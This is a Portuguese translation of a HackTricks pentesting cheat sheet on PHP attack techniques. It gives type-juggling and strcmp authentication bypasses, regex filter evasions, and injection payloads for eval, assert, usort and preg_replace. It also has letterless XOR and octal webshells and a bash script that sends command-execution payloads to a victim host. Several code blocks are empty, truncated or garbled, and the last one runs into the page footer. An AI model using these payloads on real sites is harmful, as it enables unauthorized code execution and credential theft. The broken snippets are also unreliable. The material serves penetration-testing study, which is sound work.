# Truques do PHP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Localização comum dos cookies:
Isso também é válido para cookies do phpMyAdmin.
Cookies:
```
PHPSESSID
phpMyAdmin
```
Localizações:
```
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## Bypassando comparações em PHP
### Comparações fracas / Type Juggling ( == )
Se `==` é usado em PHP, então há casos inesperados em que a comparação não se comporta como esperado. Isso ocorre porque "==" compara apenas valores transformados no mesmo tipo, se você também quiser comparar que o tipo dos dados comparados é o mesmo, você precisa usar `===`.
Tabelas de comparação PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
![](<../../../.gitbook/assets/image (40) (1).png>)
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` Uma string que não começa com um número é igual a um número
* `"0xAAAA" == "43690" -> True` Strings compostas por números em formato dec ou hex podem ser comparadas com outros números/strings com True como resultado se os números forem iguais (números em uma string são interpretados como números)
* `"0e3264578" == 0 --> True` Uma string que começa com "0e" e seguida por qualquer coisa será igual a 0
* `"0X3264578" == 0X --> True` Uma string que começa com "0" e seguida por qualquer letra (X pode ser qualquer letra) e seguida por qualquer coisa será igual a 0
* `"0e12334" == "0" --> True` Isso é muito interessante porque em alguns casos você pode controlar a entrada de string de "0" e algum conteúdo que está sendo hashado e comparado com ele. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, você poderá contornar a comparação. Você pode encontrar **strings já hashadas** com este formato aqui: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Qualquer letra em uma string é igual a int 0
Mais informações em [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
### **in\_array()**
**Type Juggling** também afeta a função `in_array()` por padrão (você precisa definir como verdadeiro o terceiro argumento para fazer uma comparação estrita):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
```
### strcmp()/strcasecmp()
Se esta função é usada para **qualquer verificação de autenticação** (como verificar a senha) e o usuário controla um lado da comparação, ele pode enviar um array vazio em vez de uma string como valor da senha (`https://example.com/login.php/?username=admin&password[]=`) e contornar essa verificação:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
O mesmo erro ocorre com `strcasecmp()`
### Conversão estrita de tipos
Mesmo se `===` estiver **sendo usado**, pode haver erros que tornam a **comparação vulnerável** à **conversão estrita de tipos**. Por exemplo, se a comparação estiver **convertendo os dados para um tipo de objeto diferente antes de comparar**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg\_match(/^.\*/)
**`preg_match()`** pode ser usado para **validar a entrada do usuário** (ele **verifica** se alguma **palavra/regex** de uma **lista negra** está **presente** na **entrada do usuário** e se não estiver, o código pode continuar sua execução).
#### Bypass de nova linha
No entanto, ao delimitar o início da expressão regular, `preg_match()` **verifica apenas a primeira linha da entrada do usuário**, então se de alguma forma você puder **enviar** a entrada em **várias linhas**, você pode ser capaz de contornar essa verificação. Exemplo:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
Para burlar essa verificação, você pode **enviar o valor com quebras de linha urlencoded** (`%0A`) ou, se puder enviar **dados JSON**, enviá-los em **várias linhas**:
```php
{
"cmd": "cat /etc/passwd"
}
```
Encontre um exemplo aqui: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **Bypass de erro de comprimento**
(Este bypass foi testado aparentemente no PHP 5.2.5 e não consegui fazê-lo funcionar no PHP 7.3.15)\
Se você pode enviar para `preg_match()` uma entrada muito **grande e válida**, ele **não será capaz de processá-la** e você será capaz de **burlar** a verificação. Por exemplo, se estiver na lista negra um JSON, você poderia enviar:
```
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000000 + '"}'
```
### Tipos de Juggling para ofuscação em PHP
Type Juggling é uma técnica usada para ofuscar código PHP, onde o PHP converte um tipo de dado em outro automaticamente. Por exemplo, o PHP converte a string "123" em um número inteiro 123. No entanto, se a string começar com "0e", o PHP a converterá em um número em notação científica, independentemente do restante dos caracteres. Isso pode ser explorado para criar hashes falsos que parecem iguais a outros hashes.
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
```
## Executar Após Redirecionamento (EAR)
Se o PHP estiver redirecionando para outra página, mas nenhuma função **`die`** ou **`exit`** é **chamada após o cabeçalho `Location`** ser definido, o PHP continua executando e anexando os dados ao corpo da página:
```php
```
## Mais truques
* **register\_globals**: Em **PHP < 4.1.1.1** ou se estiver mal configurado, **register\_globals** pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $\_GET se elas tiverem um valor, por exemplo, $\_GET\["param"]="1234", você pode acessá-lo via **$param. Portanto, enviando parâmetros HTTP, você pode sobrescrever variáveis** que são usadas dentro do código.
* Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo lugar**, portanto, se dentro de um domínio **diferentes cookies são usados em caminhos diferentes**, você pode fazer com que um caminho **acesse o cookie do caminho** definindo o valor do cookie do outro caminho.\
Dessa forma, se **ambos os caminhos acessarem uma variável com o mesmo nome**, você pode fazer com que o **valor dessa variável em path1 se aplique a path2**. E então path2 considerará válidas as variáveis de path1 (dando ao cookie o nome que corresponde a ele em path2).
* Quando você tem os **nomes de usuário** dos usuários da máquina. Verifique o endereço: **/\~\** para ver se os diretórios php estão ativados.
* [**LFI e RCE usando wrappers php**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
Essas funções são tipicamente usadas em PHP para **gerar hashes a partir de senhas** e para **verificar** se uma senha está correta em comparação com um hash.\
Os algoritmos suportados são: `PASSWORD_DEFAULT` e `PASSWORD_BCRYPT` (começa com `$2y$`). Note que **PASSWORD\_DEFAULT é frequentemente o mesmo que PASSWORD\_BCRYPT.** E atualmente, **PASSWORD\_BCRYPT** tem uma **limitação de tamanho na entrada de 72bytes**. Portanto, quando você tenta fazer hash de algo maior que 72bytes com esse algoritmo, apenas os primeiros 72B serão usados:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```
### Bypassando cabeçalhos HTTP abusando de erros PHP
Se uma **página PHP está imprimindo erros e ecoando de volta alguma entrada fornecida pelo usuário**, o usuário pode fazer o servidor PHP imprimir algum **conteúdo longo o suficiente** para que, quando ele tentar **adicionar os cabeçalhos** na resposta, o servidor lançará um erro.\
No seguinte cenário, o **atacante fez o servidor lançar alguns erros grandes**, e como você pode ver na tela, quando o PHP tentou **modificar as informações do cabeçalho, não conseguiu** (então, por exemplo, o cabeçalho CSP não foi enviado ao usuário):
![](<../../../.gitbook/assets/image (465).png>)
## Execução de código
**system("ls");**\
**\`ls\`;**\
**shell\_exec("ls");**
[Verifique isso para obter mais funções úteis do PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
### **Execução de código usando** **preg\_replace()**
```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
Para executar o código no argumento "replace", é necessário ter pelo menos uma correspondência.\
Esta opção de preg\_replace foi **descontinuada a partir do PHP 5.5.0.**
### **Execução de código com Eval()**
```
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
```
### **Execução de código com Assert()**
Esta função dentro do PHP permite **executar código que está escrito em uma string** para **retornar verdadeiro ou falso** (e dependendo disso, alterar a execução). Geralmente, a variável do usuário será inserida no meio de uma string. Por exemplo:\
`assert("strpos($_GET['page']),'..') === false")` --> Neste caso, para obter **RCE**, você poderia fazer:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Você precisará **quebrar** a **sintaxe** do código, **adicionar** sua **carga útil** e, em seguida, **corrigi-lo novamente**. Você pode usar operações lógicas como "**and" ou "%26%26" ou "|"**. Note que "or", "||" não funciona porque se a primeira condição for verdadeira, nossa carga útil não será executada. Da mesma forma, ";" não funciona, pois nossa carga útil não será executada.
**Outra opção** é adicionar à string a execução do comando: `'.highlight_file('.passwd').'`
**Outra opção** (se você tiver o código interno) é modificar alguma variável para alterar a execução: `$file = "hola"`
### **Execução de código com usort()**
Essa função é usada para classificar uma matriz de itens usando uma função específica.\
Para abusar dessa função:
```php
VALUE: );phpinfo();#
```
```php
VALUE: );}[PHP CODE];#
```
Você também pode usar **//** para comentar o restante do código.
Para descobrir o número de parênteses que você precisa fechar:
* `?order=id;}//`: obtemos uma mensagem de erro (`Parse error: syntax error, unexpected ';'`). Provavelmente estamos perdendo um ou mais colchetes.
* `?order=id);}//`: obtemos um **aviso**. Parece estar correto.
* `?order=id));}//`: obtemos uma mensagem de erro (`Parse error: syntax error, unexpected ')' i`). Provavelmente temos muitos colchetes de fechamento.
### **Execução de código via .httaccess**
Se você pode **carregar** um **.htaccess**, então você pode **configurar** várias coisas e até mesmo executar código (configurando que arquivos com extensão .htaccess podem ser **executados**).
Diferentes shells .htaccess podem ser encontrados [aqui](https://github.com/wireghoul/htshells)
## Análise estática do PHP
Veja se você pode inserir código em chamadas para essas funções (de [aqui](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
Se você está depurando uma aplicação PHP, pode habilitar globalmente a impressão de erros em `/etc/php5/apache2/php.ini` adicionando `display_errors = On` e reiniciando o apache: `sudo systemctl restart apache2`.
### Desofuscando código PHP
Você pode usar o **site** [**www.unphp.net**](http://www.unphp.net) **para desofuscar código PHP.**
## Wrappers e Protocolos PHP
Wrappers e protocolos PHP podem permitir que você **ignore proteções de escrita e leitura** em um sistema e comprometa-o. Para [**mais informações, consulte esta página**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
## RCE não autenticado do Xdebug
Se você vir que o **Xdebug** está **habilitado** em uma saída `phpconfig()`, tente obter RCE via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit).
## Variáveis de variáveis
```php
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCE abusando de new $\_GET\["a"]\($\_GET\["b"])
Se em uma página você pode **criar um novo objeto de uma classe arbitrária**, você pode ser capaz de obter RCE, verifique a seguinte página para aprender como:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
{% endcontent-ref %}
## Executar PHP sem letras
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
### Usando octal
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
### **XOR**
O operador XOR (ou exclusivo) é um operador binário que compara dois valores e retorna um valor verdadeiro se os valores forem diferentes e um valor falso se os valores forem iguais. Em PHP, o operador XOR é representado pelo símbolo `^`.
O uso do operador XOR pode ser útil em técnicas de ofuscação de código, como a criptografia de strings. Por exemplo, podemos usar o operador XOR para criptografar uma string da seguinte maneira:
```php
$key = "my_secret_key";
$string = "Hello, world!";
$encrypted_string = "";
for ($i = 0; $i < strlen($string); $i++) {
$encrypted_string .= $string[$i] ^ $key[$i % strlen($key)];
}
echo $encrypted_string; // outputs: "\x1d\x1d\x1f\x1a\x1c\x1f\x1a\x1c\x1f\x1a"
```
Para descriptografar a string, basta executar o mesmo loop novamente:
```php
$decrypted_string = "";
for ($i = 0; $i < strlen($encrypted_string); $i++) {
$decrypted_string .= $encrypted_string[$i] ^ $key[$i % strlen($key)];
}
echo $decrypted_string; // outputs: "Hello, world!"
```
Observe que a chave de criptografia deve ser mantida em segredo para garantir a segurança da criptografia. Além disso, a criptografia XOR não é considerada segura para uso em criptografia real, pois é vulnerável a ataques de análise de frequência.
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### Código shell XOR fácil
De acordo com [**este artigo**](https://mgp25.com/ctf/Web-challenge/), é possível gerar um código shell XOR fácil desta maneira:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
Então, se você pode **executar PHP arbitrário sem números e letras**, você pode enviar uma solicitação como a seguinte abusando desse payload para executar PHP arbitrário:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```
Para uma explicação mais detalhada, consulte [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
### Shellcode XOR (dentro de eval)
```bash
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
```
```php
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```
```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Semelhante ao Perl
```php
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).